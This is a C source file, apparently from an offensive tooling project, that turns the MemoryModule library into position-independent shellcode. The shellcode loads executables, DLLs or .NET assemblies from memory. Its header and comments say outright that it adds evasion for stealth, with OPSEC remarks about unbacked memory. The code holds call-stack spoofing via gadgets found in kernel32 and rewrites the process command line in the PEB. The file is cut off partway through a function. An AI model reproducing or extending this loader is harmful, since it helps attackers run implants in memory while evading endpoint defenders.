Files
2026-05-04 13:22:48 +02:00

2436 lines
74 KiB
C

/*
* Memory DLL loading code
* Version 0.0.4
*
* Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
* http://www.joachim-bauch.de
*
* The contents of this file are subject to the Mozilla Public License Version
* 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is MemoryModule.c
*
* The Initial Developer of the Original Code is Joachim Bauch.
*
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
* Joachim Bauch. All Rights Reserved.
*
*
* THeller: Added binary search in MemoryGetProcAddress function
* (#define USE_BINARY_SEARCH to enable it). This gives a very large
* speedup for libraries that exports lots of functions.
*
* These portions are Copyright (C) 2013 Thomas Heller.
*
* Maxime de Caumia Baillenx.: Made the code position-independent (PIC), simplified it for
* proof-of-concept usage, added command line support, and implemented
* evasion techniques to improve stealth.
*
* These portions are Copyright (C) 2025 Maxime de Caumia Baillenx.
*/
#include <windows.h>
#include <winnt.h>
#include <stddef.h>
#include <tchar.h>
#include <intrin.h>
#ifdef DEBUG_OUTPUT
#include <stdio.h>
#endif
#ifndef IMAGE_SIZEOF_BASE_RELOCATION
// Vista SDKs no longer define IMAGE_SIZEOF_BASE_RELOCATION!?
#define IMAGE_SIZEOF_BASE_RELOCATION (sizeof(IMAGE_BASE_RELOCATION))
#endif
#ifndef IMAGE_FILE_MACHINE_ARM64
#define IMAGE_FILE_MACHINE_ARM64 0xAA64
#endif
#if defined(_M_ARM64)
#define HOST_MACHINE IMAGE_FILE_MACHINE_ARM64
#elif defined(_M_X64)
#define HOST_MACHINE IMAGE_FILE_MACHINE_AMD64
#elif defined(_M_IX86)
#define HOST_MACHINE IMAGE_FILE_MACHINE_I386
#else
#error Unsupported target architecture.
#endif
#if defined(_M_ARM64)
#define DW_HAS_EXIT_VEH_PATCH 0
#else
#define DW_HAS_EXIT_VEH_PATCH 1
#endif
#include "memoryModule.h"
#include "helpers.h"
#include "../common/peb.h"
struct ExportNameEntry {
LPCSTR name;
WORD idx;
};
typedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
typedef int (WINAPI *ExeEntryProc)(void);
#ifdef _WIN64
typedef struct POINTER_LIST
{
struct POINTER_LIST *next;
void *address;
} POINTER_LIST;
#endif
typedef struct {
PIMAGE_NT_HEADERS headers;
unsigned char *codeBase;
HCUSTOMMODULE *modules;
int numModules;
BOOL initialized;
BOOL isDLL;
BOOL isRelocated;
INSTANCE* inst;
struct ExportNameEntry *nameExportsTable;
ExeEntryProc exeEntry;
DWORD pageSize;
#if DW_HAS_RUNTIME_FUNCTION_TABLE
PRUNTIME_FUNCTION pdataStart;
DWORD pdataSize;
#endif
#ifdef _WIN64
POINTER_LIST *blockedMemory;
#endif
} MEMORYMODULE, *PMEMORYMODULE;
typedef struct {
LPVOID address;
LPVOID alignedAddress;
SIZE_T size;
DWORD characteristics;
BOOL last;
} SECTIONFINALIZEDATA, *PSECTIONFINALIZEDATA;
//
// All the win API used during the loading process
// OPSEC -> those API will come from a not backed up memory region if call directly - they come from a shellcode directly
// to avoid that we can use a thread pool proxy call
//
static inline void* MM_VirtualAlloc(INSTANCE* inst, void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
void* result = inst->api.VirtualAlloc(pAddress, dwSize, flAllocationType, flProtect);
return result;
}
static inline BOOL MM_VirtualProtect(INSTANCE* inst, void* pAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
{
BOOL result = inst->api.VirtualProtect(pAddress, dwSize, flNewProtect, lpflOldProtect);
return result;
}
static inline HMODULE MM_LoadLibraryA(INSTANCE* inst, LPCSTR lpLibFileName)
{
HMODULE result = inst->api.LoadLibraryA(lpLibFileName);
return result;
}
static inline BOOL MM_VirtualFree(INSTANCE* inst, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
BOOL result = inst->api.VirtualFree(lpAddress, dwSize, dwFreeType);
return result;
}
static inline VOID MM_GetNativeSystemInfo(INSTANCE* inst, LPSYSTEM_INFO lpSystemInfo)
{
if (!lpSystemInfo)
return;
if (inst && inst->api.GetNativeSystemInfo)
{
inst->api.GetNativeSystemInfo(lpSystemInfo);
return;
}
lpSystemInfo->dwPageSize = 0x1000;
}
static inline HMODULE MM_GetModuleHandleA(INSTANCE* inst, LPCSTR lpModuleName)
{
HMODULE hModule = inst->api.GetModuleHandleA(lpModuleName);
return hModule;
}
static inline FARPROC MM_GetProcAddress(INSTANCE* inst, HMODULE hModule, LPCSTR lpProcName)
{
FARPROC pProcAddress = inst->api.GetProcAddress(hModule, lpProcName);
return pProcAddress;
}
static inline void* MM_GetCommandLineA(INSTANCE* inst)
{
void* ptr = inst->api.GetCommandLineA();
return ptr;
}
static inline HANDLE MM_GetCurrentProcess(INSTANCE* inst)
{
if (!inst || !inst->api.GetCurrentProcess)
return NULL;
return inst->api.GetCurrentProcess();
}
static inline BOOL MM_FlushInstructionCache(INSTANCE* inst, HANDLE process, LPCVOID baseAddress, SIZE_T size)
{
if (!inst || !inst->api.FlushInstructionCache)
return FALSE;
return inst->api.FlushInstructionCache(process, baseAddress, size);
}
static inline PVOID MM_AddVectoredExceptionHandler(INSTANCE* inst, ULONG first, PVECTORED_EXCEPTION_HANDLER handler)
{
if (!inst || !inst->api.AddVectoredExceptionHandler)
return NULL;
#ifdef DEBUG_OUTPUT
printf("AddVectoredExceptionHandler\n");
#endif
return inst->api.AddVectoredExceptionHandler(first, handler);
}
static inline ULONG MM_RemoveVectoredExceptionHandler(INSTANCE* inst, PVOID handle)
{
if (!inst || !inst->api.RemoveVectoredExceptionHandler)
return 0;
return inst->api.RemoveVectoredExceptionHandler(handle);
}
static __forceinline PVOID MmReadArbitraryUserPointer(void)
{
#if defined(_M_ARM64)
return NtCurrentTeb()->NtTib.ArbitraryUserPointer;
#elif defined(_M_X64)
return (PVOID)__readgsqword(0x28);
#elif defined(_M_IX86)
return (PVOID)__readfsdword(0x14);
#else
return NULL;
#endif
}
static __forceinline void MmWriteArbitraryUserPointer(PVOID value)
{
#if defined(_M_ARM64)
NtCurrentTeb()->NtTib.ArbitraryUserPointer = value;
#elif defined(_M_X64)
__writegsqword(0x28, (unsigned __int64)(ULONG_PTR)value);
#elif defined(_M_IX86)
__writefsdword(0x14, (unsigned long)(ULONG_PTR)value);
#endif
}
static __forceinline INSTANCE* MmGetThreadInstance(void)
{
return (INSTANCE*)MmReadArbitraryUserPointer();
}
static inline VOID MM_ExitThread(INSTANCE* inst, DWORD exitCode)
{
if (inst && inst->api.ExitThread)
inst->api.ExitThread(exitCode);
}
static inline VOID MM_ExitProcess(INSTANCE* inst, UINT exitCode)
{
if (inst && inst->api.ExitProcess)
inst->api.ExitProcess(exitCode);
}
static inline VOID MM_Sleep(INSTANCE* inst, DWORD milliseconds)
{
if (inst && inst->api.Sleep)
inst->api.Sleep(milliseconds);
}
static BOOL InstallExitVEH(INSTANCE* inst);
static void RemoveExitVEH(INSTANCE* inst);
static DWORD HandleExitBehavior(void);
static DWORD WINAPI AfterExeContinuation(LPVOID parameter);
//
// Find the pattern that start a module "MZ" for standard PE files, but could be custom
//
static inline PVOID FindModule(char* startAdd, ULONG size, char* pattern)
{
for (ULONG x = 0; x < size - 1; x++)
{
if (startAdd[x] == pattern[0] && startAdd[x + 1] == pattern[1])
{
#if defined(_M_IX86)
if (pattern[0] == 'M' && pattern[1] == 'Z')
{
if (x + sizeof(IMAGE_DOS_HEADER) > size)
continue;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)(startAdd + x);
if (dos->e_lfanew <= 0 || dos->e_lfanew > 0x1000)
continue;
if (x + (ULONG)dos->e_lfanew + sizeof(DWORD) > size)
continue;
DWORD signature = *(DWORD *)(startAdd + x + dos->e_lfanew);
if (signature != IMAGE_NT_SIGNATURE)
continue;
}
#endif
return (PVOID)(startAdd + x);
}
}
return NULL;
}
//
// Custom memcpy, memset and memcmp functions, to use when compiling for a shellcode
//
#ifdef DEBUG_OUTPUT
#else
// Do not treat memcpy as an intrinsic; use the function I provide
#pragma function(memcpy)
void* memcpy(void* dst, const void* src, size_t len)
{
unsigned char* d = (unsigned char*)dst;
const unsigned char* s = (const unsigned char*)src;
while (len--)
{
*d++ = *s++;
}
return dst;
}
#pragma function(memset)
void* memset(void* ptr, int value, size_t num) {
unsigned char* p = (unsigned char*)ptr;
while (num--) {
*p++ = (unsigned char)value;
}
return ptr;
}
#pragma function(memcmp)
int memcmp(const void *s1, const void *s2, size_t n)
{
const unsigned char *p1 = (const unsigned char *)s1;
const unsigned char *p2 = (const unsigned char *)s2;
for (size_t i = 0; i < n; i++)
{
if (p1[i] != p2[i])
{
return (int)p1[i] - (int)p2[i];
}
}
return 0;
}
#pragma function(wcslen)
size_t wcslen(const wchar_t* str)
{
const wchar_t* start = str;
while (*str)
str++;
return (size_t)(str - start);
}
#endif
#if defined(_M_IX86)
static __declspec(noinline) char* MmGetCurrentCodeAddress(void)
{
char* address;
__asm
{
call GetAddress
GetAddress:
pop eax
mov address, eax
}
return address;
}
#endif
//
// Credit to VulcanRaven & LoudSunRun projects
// Call stack spoofing functions
//
#include "Structs.h"
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) == 0)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define RBP_OP_INFO 0x5
extern PVOID NTAPI Spoof(PVOID a, ...);
PVOID FindGadget(LPBYTE Module, ULONG Size, char* pattern)
{
(void)Size;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)Module;
if (!Module || dos->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(Module + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE)
return NULL;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, section++)
{
if ((section->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)
continue;
LPBYTE start = Module + section->VirtualAddress;
ULONG scanSize = section->Misc.VirtualSize;
if (scanSize < 2)
continue;
for (ULONG x = 0; x < scanSize - 1; x++)
{
if (memcmp(start + x, pattern, 2) == 0)
{
return (PVOID)(start + x);
}
};
};
return NULL;
}
#if DW_HAS_STACK_SPOOFING
/* Credit to VulcanRaven project for the original implementation of these two*/
ULONG CalculateFunctionStackSize(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 ImageBase)
{
NTSTATUS status = STATUS_SUCCESS;
PUNWIND_INFO pUnwindInfo = NULL;
ULONG unwindOperation = 0;
ULONG operationInfo = 0;
ULONG index = 0;
ULONG frameOffset = 0;
StackFrame stackFrame = { 0 };
// [0] Sanity check incoming pointer.
if (!pRuntimeFunction)
{
status = STATUS_INVALID_PARAMETER;
goto Cleanup;
}
// [1] Loop over unwind info.
// NB As this is a PoC, it does not handle every unwind operation, but
// rather the minimum set required to successfully mimic the default
// call stacks included.
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + ImageBase);
while (index < pUnwindInfo->CountOfCodes)
{
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
// [2] Loop over unwind codes and calculate
// total stack space used by target Function.
switch (unwindOperation)
{
case UWOP_PUSH_NONVOL:
// UWOP_PUSH_NONVOL is 8 bytes.
stackFrame.totalStackSize += 8;
// Record if it pushes rbp as
// this is important for UWOP_SET_FPREG.
if (RBP_OP_INFO == operationInfo)
{
stackFrame.pushRbp = 1;
// Record when rbp is pushed to stack.
stackFrame.countOfCodes = pUnwindInfo->CountOfCodes;
stackFrame.pushRbpIndex = index + 1;
}
break;
case UWOP_SAVE_NONVOL:
//UWOP_SAVE_NONVOL doesn't contribute to stack size
// but you do need to increment index.
index += 1;
break;
case UWOP_ALLOC_SMALL:
//Alloc size is op info field * 8 + 8.
stackFrame.totalStackSize += ((operationInfo * 8) + 8);
break;
case UWOP_ALLOC_LARGE:
// Alloc large is either:
// 1) If op info == 0 then size of alloc / 8
// is in the next slot (i.e. index += 1).
// 2) If op info == 1 then size is in next
// two slots.
index += 1;
frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;
if (operationInfo == 0)
{
frameOffset *= 8;
}
else
{
index += 1;
frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);
}
stackFrame.totalStackSize += frameOffset;
break;
case UWOP_SET_FPREG:
// This sets rsp == rbp (mov rsp,rbp), so we need to ensure
// that rbp is the expected value (in the frame above) when
// it comes to spoof this frame in order to ensure the
// call stack is correctly unwound.
stackFrame.setsFramePointer = 1;
break;
default:
// printf("[-] Error: Unsupported Unwind Op Code\n");
status = STATUS_ASSERTION_FAILURE;
break;
}
index += 1;
}
// Add the size of the return address (8 bytes).
stackFrame.totalStackSize += 8;
return stackFrame.totalStackSize;
Cleanup:
return status;
}
ULONG CalculateFunctionStackSizeWrapper(INSTANCE* inst, PVOID ReturnAddress)
{
NTSTATUS status = STATUS_SUCCESS;
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
DWORD64 ImageBase = 0;
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
// [0] Sanity check return address.
if (!ReturnAddress)
{
status = STATUS_INVALID_PARAMETER;
goto Cleanup;
}
// [1] Locate RUNTIME_FUNCTION for given Function.
pRuntimeFunction = inst->api.RtlLookupFunctionEntry((DWORD64)ReturnAddress, &ImageBase, pHistoryTable);
if (NULL == pRuntimeFunction)
{
status = STATUS_ASSERTION_FAILURE;
// printf("[!] STATUS_ASSERTION_FAILURE\n");
goto Cleanup;
}
// [2] Recursively calculate the total stack size for
// the Function we are "returning" to.
return CalculateFunctionStackSize(pRuntimeFunction, ImageBase);
Cleanup:
return status;
}
#endif
//
// Cmdline handling
//
void SimpleWideToAnsi(const wchar_t* wide, char* ansi, const int maxLen)
{
int i;
for (i = 0; i < maxLen - 1 && wide[i] != L'\0'; i++)
{
// Assumes ASCII-only characters
ansi[i] = (char)(wide[i] & 0xFF);
}
ansi[i] = '\0'; // Null-terminate the ANSI string
}
void SimpleAnsiToWide(const char* ansi, wchar_t* wide)
{
while (*ansi)
{
*wide++ = (wchar_t)(unsigned char)(*ansi++);
}
*wide = 0; // null-terminate
}
BOOL SetCommandLineSimple(INSTANCE* inst)
{
#ifdef _M_IX86
PPEB peb = (PEB *) __readfsdword(0x30);
#elif defined(_M_ARM64)
PPEB peb = NtCurrentTeb()->ProcessEnvironmentBlock;
#else
PPEB peb = (PEB *)__readgsqword(0x60);
#endif
if (!peb || !peb->ProcessParameters)
return FALSE;
HMODULE hMod = MM_LoadLibraryA(inst, (char*)inst->sKernelBaseDLL);
#ifdef DEBUG_OUTPUT
printf("hMod: %p\n", hMod);
#endif
if (!hMod)
return FALSE;
// Parse PE headers
PIMAGE_DOS_HEADER dos_header;
PIMAGE_NT_HEADERS old_header;
PIMAGE_SECTION_HEADER section;
dos_header = (PIMAGE_DOS_HEADER)hMod;
old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(hMod))[dos_header->e_lfanew];
section = IMAGE_FIRST_SECTION(old_header);
#ifdef DEBUG_OUTPUT
printf("PE Headers: e_magic=%x, e_lfanew=%x, NumberOfSections=%d\n", dos_header->e_magic, dos_header->e_lfanew, old_header->FileHeader.NumberOfSections);
#endif
// Find the .data section
DWORD_PTR dataStart = 0, dataSize = 0;
for (WORD i = 0; i < old_header->FileHeader.NumberOfSections; i++, section++)
{
if (memcmp(section->Name, inst->sDataSec, 5) == 0)
{
dataStart = (DWORD_PTR)hMod + section->VirtualAddress;
dataSize = section->Misc.VirtualSize;
break;
}
}
if (!dataStart)
return FALSE;
// Get actual current command lines
LPWSTR curW = peb->ProcessParameters->CommandLine.Buffer;
LPSTR curA = MM_GetCommandLineA(inst); // The ANSI version (GetCommandLineA()) is typically generated on-demand by converting the wide string (W) to ANSI when the API is called.
LPCWSTR newCmdLine = (LPCWSTR)inst->sCmdLine;
#ifdef DEBUG_OUTPUT
printf("Setting command line to: %ws\n", newCmdLine);
printf("CommandLine W: %ws\n", curW);
printf("CommandLine A: %s\n", curA);
printf("CommandLine W: %p\n", curW);
printf("CommandLine A: %p\n", curA);
#endif
// Allocate new strings
size_t lenW = wcslen(newCmdLine) + 1;
size_t lenA = lenW; // Assuming 1:1 mapping for simplicity, could be adjusted for different encodings
LPWSTR newW = (LPWSTR) MM_VirtualAlloc(inst, NULL, lenW * sizeof(WCHAR), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPSTR newA = (LPSTR) MM_VirtualAlloc(inst, NULL, lenA, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
#ifdef DEBUG_OUTPUT
// printf("lenW: %zu, lenA: %zu\n", lenW, lenA);
#endif
memcpy(newW, newCmdLine, lenW * sizeof(WCHAR));
SimpleWideToAnsi(newCmdLine, newA, lenA);
// Scan .data section for matching wchar_t*/char* and patch them
for (DWORD_PTR i = dataStart; i < dataStart + dataSize - sizeof(PVOID); i += sizeof(PVOID))
{
PVOID* ptr = (PVOID*)i;
if (*ptr == (PVOID)curW)
{
#ifdef DEBUG_OUTPUT
printf("-> FOUND CommandLine W: %p\n", (PVOID)i);
#endif
*ptr = newW;
}
else if (*ptr == (PVOID)curA)
{
#ifdef DEBUG_OUTPUT
printf("-> FOUND CommandLine A: %p\n", (PVOID)i);
#endif
*ptr = newA;
}
}
return TRUE;
}
typedef int (*LoaderDotNetFunction)(void* data, int size, char* argument);
typedef void (*StandardEmptyFunction)();
//
// Entry point
//
int Loader(INSTANCE* inst)
{
GetProcAddress_t pGetProcAddress;
GetModuleHandleA_t pGetModuleHandle;
HMODULE moduleKernel32;
moduleKernel32 = hlpGetModuleHandle((wchar_t*)inst->wsKernel32DLL);
pGetProcAddress = (GetProcAddress_t)hlpGetProcAddress(moduleKernel32, (char*)inst->sGetProcAddress);
pGetModuleHandle = (GetModuleHandleA_t)hlpGetProcAddress(moduleKernel32, (char*)inst->sGetModuleHandleA);
// inst is RX and we need a RW region so we relocate inst
VirtualAlloc_t pVirtualAlloc;
pVirtualAlloc = (VirtualAlloc_t)pGetProcAddress(moduleKernel32, (char*)inst->sVirtualAlloc);
char* newInst = pVirtualAlloc(NULL, sizeof(INSTANCE), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
char* oldInst = (char*)inst;
for(int i=0; i<sizeof(INSTANCE); i++)
newInst[i] = oldInst[i];
inst = (INSTANCE*)newInst;
inst->api.GetProcAddress = pGetProcAddress;
inst->api.GetModuleHandleA = pGetModuleHandle;
inst->api.VirtualAlloc = pVirtualAlloc;
inst->api.LoadLibraryA = (LoadLibraryA_t)pGetProcAddress(moduleKernel32, (char*)inst->sLoadLibraryA);
inst->api.VirtualFree = (VirtualFree_t)pGetProcAddress(moduleKernel32, (char*)inst->sVirtualFree);
inst->api.VirtualProtect = (VirtualProtect_t)pGetProcAddress(moduleKernel32, (char*)inst->sVirtualProtect);
inst->api.GetNativeSystemInfo = (GetNativeSystemInfo_t)pGetProcAddress(moduleKernel32, (char*)inst->sGetNativeSystemInfo);
inst->api.GetCommandLineA = (GetCommandLineA_t)pGetProcAddress(moduleKernel32, (char*)inst->sGetCommandLineA);
#if DW_HAS_RUNTIME_FUNCTION_TABLE
inst->api.RtlAddFunctionTable = (RtlAddFunctionTable_t)pGetProcAddress(moduleKernel32, (char*)inst->sRtlAddFunctionTable);
#endif
inst->api.Sleep = (Sleep_t)pGetProcAddress(moduleKernel32, (char*)inst->sSleep);
inst->api.AddVectoredExceptionHandler = (AddVectoredExceptionHandler_t)(inst->api.GetProcAddress(inst->api.GetModuleHandleA(inst->sNtDLL), (char*)inst->sAddVectoredExceptionHandler));
inst->api.RemoveVectoredExceptionHandler = (RemoveVectoredExceptionHandler_t)(inst->api.GetProcAddress(inst->api.GetModuleHandleA(inst->sNtDLL), (char*)inst->sRemoveVectoredExceptionHandler));
inst->api.ExitThread = (ExitThread_t)pGetProcAddress(moduleKernel32, (char*)inst->sExitThread);
inst->api.ExitProcess = (ExitProcess_t)pGetProcAddress(moduleKernel32, (char*)inst->sExitProcess);
inst->api.FlushInstructionCache = (FlushInstructionCache_t)pGetProcAddress(moduleKernel32, (char*)inst->sFlushInstructionCache);
inst->api.GetCurrentProcess = (GetCurrentProcess_t)pGetProcAddress(moduleKernel32, (char*)inst->sGetCurrentProcess);
#ifdef DEBUG_OUTPUT
printf("inst->api.GetProcAddress %p\n", inst->api.GetProcAddress);
printf("inst->api.GetModuleHandleA %p\n", inst->api.GetModuleHandleA);
printf("inst->api.VirtualAlloc %p\n", inst->api.VirtualAlloc);
printf("inst->api.LoadLibraryA %p\n", inst->api.LoadLibraryA);
printf("inst->api.VirtualFree %p\n", inst->api.VirtualFree);
printf("inst->api.VirtualProtect %p\n", inst->api.VirtualProtect);
printf("inst->api.GetNativeSystemInfo %p\n", inst->api.GetNativeSystemInfo);
printf("inst->api.GetCommandLineA %p\n", inst->api.GetCommandLineA);
#if DW_HAS_RUNTIME_FUNCTION_TABLE
printf("inst->api.RtlAddFunctionTable %p\n", inst->api.RtlAddFunctionTable);
#endif
printf("inst->api.Sleep %p\n", inst->api.Sleep);
printf("inst->api.AddVectoredExceptionHandler %p\n", inst->api.AddVectoredExceptionHandler);
printf("inst->api.RemoveVectoredExceptionHandler %p\n", inst->api.RemoveVectoredExceptionHandler);
printf("inst->api.FlushInstructionCache %p\n", inst->api.FlushInstructionCache);
#endif
// search for the start of the module
void* moduleAddress = NULL;
#ifdef DEBUG_OUTPUT
if(inst->ptrModuleTst)
{
printf("inst->ptrModuleTst %p\n", inst->ptrModuleTst);
moduleAddress = inst->ptrModuleTst;
}
else
#endif
{
#if defined(_M_IX86)
char* startAdd = MmGetCurrentCodeAddress();
moduleAddress = FindModule(startAdd, inst->loaderSize + 0x400, (char*)inst->sMagicBytes);
#else
char* startAdd = (char*)(void*)Loader;
moduleAddress = FindModule(startAdd + inst->loaderSize, 100, (char*)inst->sMagicBytes);
#endif
}
if(!moduleAddress)
return 0;
#if DW_HAS_STACK_SPOOFING
//
// LoudSunRun -> we need a gadget to perform the return to this function for DLL, for EXE we remove the gadget for cleaner call stack, because we don't come back this way
//
inst->api.RtlLookupFunctionEntry = (RtlLookupFunctionEntry_t)hlpGetProcAddress(moduleKernel32, (char*)inst->sRtlLookupFunctionEntry);
PVOID ReturnAddress = NULL;
PRM p = { 0 };
PRM ogp = { 0 };
NTSTATUS status = STATUS_SUCCESS;
p.trampoline = FindGadget(moduleKernel32, 0x200000, inst->sGadget);
ReturnAddress = (PBYTE)(inst->api.GetProcAddress(moduleKernel32, (char*)inst->sBaseThreadInitThunk)) + 0x14; // Would walk export table but am lazy
p.BTIT_ss = (PVOID)CalculateFunctionStackSizeWrapper(inst, ReturnAddress);
p.BTIT_retaddr = ReturnAddress;
ReturnAddress = (PBYTE)(inst->api.GetProcAddress(inst->api.GetModuleHandleA(inst->sNtDLL), (char*)inst->sRtlUserThreadStart)) + 0x21;
p.RUTS_ss = (PVOID)CalculateFunctionStackSizeWrapper(inst, ReturnAddress);
p.RUTS_retaddr = ReturnAddress;
p.Gadget_ss = CalculateFunctionStackSizeWrapper(inst, p.trampoline);
#endif
//
// DotNet
//
if(inst->isDotNet)
{
// Find the .NET module after the dotnet loader module
void* dotnetModule = NULL;
#ifdef DEBUG_OUTPUT
// in case of debug the module will not be following the loader, because we are not in a shellcode
if(inst->ptrDotNetModuleTst)
{
printf("inst->ptrDotNetModuleTst %p\n", inst->ptrDotNetModuleTst);
dotnetModule = inst->ptrDotNetModuleTst;
}
else
#endif
{
#if defined(_M_IX86)
dotnetModule = FindModule((char*)(void*)moduleAddress+inst->dotnetLoaderSize, 0x400, (char*)inst->sMagicBytes);
#else
dotnetModule = FindModule((char*)(void*)moduleAddress+inst->dotnetLoaderSize, 100, (char*)inst->sMagicBytes);
#endif
}
if(!dotnetModule)
{
return 0;
}
// Load module
#ifdef DEBUG_OUTPUT
printf("DotNet MemoryLoadLibrary loader size %u\n", inst->dotnetLoaderSize);
#endif
HMEMORYMODULE moduleHandle = MemoryLoadLibrary(inst, moduleAddress, inst->dotnetLoaderSize);
if (!moduleHandle)
{
#ifdef DEBUG_OUTPUT
printf("[!] DotNet MemoryLoadLibrary failed\n");
#endif
return 0;
}
void* func = MemoryGetProcAddress(inst, moduleHandle, inst->sdllMethode);
if (!func)
{
#ifdef DEBUG_OUTPUT
printf("[!] DotNet export %s not found\n", inst->sdllMethode);
#endif
return 0;
}
#ifdef DEBUG_OUTPUT
printf("DotNet export %s %p\n", inst->sdllMethode, func);
printf("DotNet invoking loader with module size %u\n", inst->dotnetModuleSize);
#endif
// LoaderDotNetFunction _loaderDotNetFunction = (LoaderDotNetFunction)func;
// _loaderDotNetFunction(dotnetModule, inst->dotnetModuleSize, inst->sCmdLine);
// TODO handle the exit of the managed code in DotnetExe.cpp
int dotnetStatus = 0;
#if DW_HAS_STACK_SPOOFING
SpoofWithReturn(dotnetModule, inst->dotnetModuleSize, inst->sCmdLine, NULL, &p, func, (PVOID)0);
#else
dotnetStatus = ((LoaderDotNetFunction)func)(dotnetModule, inst->dotnetModuleSize, (char*)inst->sCmdLine);
#endif
#ifdef DEBUG_OUTPUT
printf("DotNet loader returned %d\n", dotnetStatus);
if (dotnetStatus != 0)
return dotnetStatus;
#endif
BYTE mode = inst->exitMode;
#ifdef DEBUG_OUTPUT
if (mode == 0)
{
printf("DotNet return - debug no-exit\n");
return 0;
}
#endif
if (mode != 2 && mode != 3)
mode = 1;
#ifdef DEBUG_OUTPUT
printf("DotNet return - mode %u\n", mode);
#endif
if (mode == 3) {
for (;;) {
#if DW_HAS_STACK_SPOOFING
SpoofWithReturn(1000, NULL, NULL, NULL, &p, inst->api.Sleep, (PVOID)0);
#else
inst->api.Sleep(1000);
#endif
}
}
if (mode == 2) {
MM_ExitProcess(inst, 0);
} else {
MM_ExitThread(inst, 0);
}
return 0;
}
//
// Unmanaged code
//
else
{
//
// Exe
//
if(!inst->isDll)
{
#ifdef DEBUG_OUTPUT
printf("SetCommandLineSimple\n");
#endif
BOOL err = SetCommandLineSimple(inst);
if (!err)
{
return 0;
}
#ifdef DEBUG_OUTPUT
printf("MemoryLoadLibrary\n");
#endif
// Load module
HMEMORYMODULE moduleHandle = MemoryLoadLibrary(inst, moduleAddress, inst->moduleSize);
if (!moduleHandle)
{
return 0;
}
#ifdef DEBUG_OUTPUT
printf("MemoryCallEntryPoint\n");
#endif
PMEMORYMODULE module = (PMEMORYMODULE)moduleHandle;
if (module == NULL || module->isDLL || module->exeEntry == NULL || !module->isRelocated)
return 0;
// module->exeEntry();
#if defined(DEBUG_OUTPUT) && DW_HAS_RUNTIME_FUNCTION_TABLE
// check if stack unwinding is supported
DWORD64 imageBase = 0;
PRUNTIME_FUNCTION fn = RtlLookupFunctionEntry((DWORD64)module->exeEntry, &imageBase, NULL);
if (fn != NULL) {
printf("RUNTIME_FUNCTION found! BeginAddress: 0x%X\n", fn->BeginAddress);
} else {
printf("No unwind info found — stack walk won't work.\n");
}
#endif
// Handle exit of exe using VEH
#if DW_HAS_EXIT_VEH_PATCH
InstallExitVEH(inst);
#endif
// __debugbreak();
#if DW_HAS_STACK_SPOOFING
SpoofNoReturn(NULL, NULL, NULL, NULL, &p, module->exeEntry, (PVOID)0);
#else
module->exeEntry();
#endif
// we never come back here
#ifdef DEBUG_OUTPUT
printf("Never printed!\n");
#endif
return 0;
}
//
// DLL
//
else
{
// Load module
HMEMORYMODULE moduleHandle = MemoryLoadLibrary(inst, moduleAddress, inst->moduleSize);
if (!moduleHandle)
{
return 0;
}
PMEMORYMODULE module = (PMEMORYMODULE)moduleHandle;
void* func = MemoryGetProcAddress(inst, moduleHandle, inst->sdllMethode);
// StandardEmptyFunction _func = (StandardEmptyFunction)func;
// _func();
#if defined(DEBUG_OUTPUT) && DW_HAS_RUNTIME_FUNCTION_TABLE
// check if stack unwinding is supported
DWORD64 imageBase = 0;
PRUNTIME_FUNCTION fn = RtlLookupFunctionEntry((DWORD64)func, &imageBase, NULL);
if (fn != NULL) {
printf("RUNTIME_FUNCTION found! BeginAddress: 0x%X\n", fn->BeginAddress);
} else {
printf("No unwind info found — stack walk won't work.\n");
}
#endif
// __debugbreak();
#if DW_HAS_STACK_SPOOFING
SpoofWithReturn(NULL, NULL, NULL, NULL, &p, func, (PVOID)0);
#else
((StandardEmptyFunction)func)();
#endif
BYTE mode = inst->exitMode;
#ifdef DEBUG_OUTPUT
if (mode == 0)
{
printf("DLL return - debug no-exit\n");
return 0;
}
#endif
if (mode != 2 && mode != 3)
mode = 1;
#ifdef DEBUG_OUTPUT
printf("DLL return - mode %u\n", mode);
#endif
if (mode == 3) {
for (;;) {
#if DW_HAS_STACK_SPOOFING
SpoofWithReturn(1000, NULL, NULL, NULL, &p, inst->api.Sleep, (PVOID)0);
#else
inst->api.Sleep(1000);
#endif
}
}
if (mode == 2) {
MM_ExitProcess(inst, 0);
} else {
MM_ExitThread(inst, 0);
}
return 0;
}
}
return 0;
}
#define GET_HEADER_DICTIONARY(module, idx) &(module)->headers->OptionalHeader.DataDirectory[idx]
static inline uintptr_t AlignValueDown(uintptr_t value, uintptr_t alignment)
{
return value & ~(alignment - 1);
}
static inline LPVOID AlignAddressDown(LPVOID address, uintptr_t alignment)
{
